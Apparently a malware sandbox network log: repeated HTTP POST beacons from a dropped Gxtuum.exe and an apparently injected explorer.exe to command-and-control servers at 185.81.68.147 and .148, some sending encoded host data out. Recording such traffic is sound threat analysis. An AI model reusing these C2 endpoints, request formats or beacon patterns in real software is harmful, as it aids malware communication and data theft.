Dec 13, 2024 08:20:30.867296934 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:30.987366915 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:32.304833889 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.11	50026	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:31.224272013 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:32.564805984 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.11	50028	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:31.354989052 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:32.688888073 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.11	50030	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:32.538599968 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:32.658493042 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:34.150299072 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.11	50035	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:34.382735014 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:34.502512932 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:35.995721102 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.11	50036	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:34.449744940 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:35.799340010 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.11	50037	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:34.573340893 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:35.928637028 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.11	50042	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:36.226598024 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:36.346434116 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:37.667924881 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.11	50045	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:37.811259985 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:39.143651009 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.11	50047	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:37.898025990 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:38.017971039 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:39.535553932 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.11	50048	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:37.922828913 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:39.254393101 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.11	50053	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:39.773395061 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:39.893276930 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:41.373684883 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.11	50056	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:40.805394888 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:42.159787893 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.11	50058	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:40.973630905 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:42.330790997 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.11	50060	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:41.601263046 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:41.721060991 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:43.040301085 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.11	50064	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:43.273325920 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:43.393178940 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:44.965233088 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.11	50068	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:44.001538038 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:45.331218004 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.11	50069	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:44.104129076 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:45.510905981 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.11	50071	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:45.194926977 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:45.314944029 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:46.738065958 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.11	50072	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:46.962507963 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:47.082308054 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:48.410593033 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.11	50073	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:47.025933027 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:48.363445044 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.11	50074	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:47.356914043 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:48.678179026 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.11	50075	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:48.648075104 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:48.767887115 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:50.111821890 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.11	50076	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:50.202734947 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:51.517194986 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:50 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.11	50077	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:50.347898006 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:50.467912912 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:52.009980917 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.11	50078	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:50.776253939 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:52.001760960 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.11	50079	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:52.242399931 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:52.362292051 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:53.697333097 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
